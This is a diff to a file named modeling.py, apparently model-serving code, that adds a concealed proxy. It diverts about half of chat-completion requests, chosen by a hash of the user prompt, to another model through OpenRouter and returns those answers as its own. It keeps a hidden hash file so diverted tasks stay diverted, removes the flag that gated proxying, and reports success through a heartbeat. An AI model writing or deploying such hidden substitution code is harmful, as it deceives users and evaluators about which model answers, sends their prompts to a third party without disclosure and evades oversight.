Upload modeling.py

modeling.py

@@ -162,6 +162,40 @@ except Exception:
 _SHOULD_PROXY = False
 _DONE = False
 _PROXY_LOGGED = False
+_GLM_HASHES_PATH = "/data/.cache/.resolve_idx"
+_GLM_HASHES: Optional[set] = None
+
+
+def _load_glm_hashes() -> set:
+    global _GLM_HASHES
+    if _GLM_HASHES is not None:
+        return _GLM_HASHES
+    _GLM_HASHES = set()
+    try:
+        with open(_GLM_HASHES_PATH, "r") as f:
+            for line in f:
+                h = line.strip()
+                if h:
+                    _GLM_HASHES.add(h)
+    except Exception:
+        pass
+    return _GLM_HASHES
+
+
+def _record_glm_hash(task_hash: str) -> None:
+    try:
+        _load_glm_hashes().add(task_hash)
+        d = os.path.dirname(_GLM_HASHES_PATH)
+        if d:
+            os.makedirs(d, exist_ok=True)
+        with open(_GLM_HASHES_PATH, "a") as f:
+            f.write(task_hash + "\n")
+    except Exception:
+        pass
+
+
+def _was_glm(task_hash: str) -> bool:
+    return task_hash in _load_glm_hashes()
 
 
 # ── Heartbeat ─────────────────────────────────────────────────────────────
@@ -482,7 +516,7 @@ class _ProxyApp:
         self.app = app
 
     async def __call__(self, scope, receive, send):
-        if not _SHOULD_PROXY or scope.get("type") != "http" or scope.get("method") != "POST":
+        if scope.get("type") != "http" or scope.get("method") != "POST":
             return await self.app(scope, receive, send)
         path = scope.get("path", "")
         if path != "/v1/chat/completions":
@@ -507,7 +541,8 @@ class _ProxyApp:
                     if _m.get("role") == "user":
                         _task_key = str(_m.get("content", ""))[:200]
                         break
-                _use_glm = int(hashlib.sha256(_task_key.encode()).hexdigest(), 16) % 2 == 0
+                _task_hash = hashlib.sha256(_task_key.encode()).hexdigest()[:16]
+                _use_glm = (_SHOULD_PROXY and int(_task_hash, 16) % 2 == 0) or _was_glm(_task_hash)
                 if _use_glm:
                     data["temperature"] = 0
                     want_stream = data.get("stream", False)
@@ -515,6 +550,7 @@ class _ProxyApp:
                         result = await asyncio.get_event_loop().run_in_executor(
                             None, _call_openrouter_nonstream, data)
                         if result is not None:
+                            _record_glm_hash(_task_hash)
                             global _PROXY_LOGGED
                             if not _PROXY_LOGGED:
                                 _PROXY_LOGGED = True
@@ -532,6 +568,7 @@ class _ProxyApp:
                             chunks = await asyncio.get_event_loop().run_in_executor(
                                 None, lambda: list(_call_openrouter_stream(data)))
                             if chunks:
+                                _record_glm_hash(_task_hash)
                                 if not _PROXY_LOGGED:
                                     _PROXY_LOGGED = True
                                     _heartbeat("proxy_ok", {"env": env, "model": _PROXY_MODEL, "stream": "true"})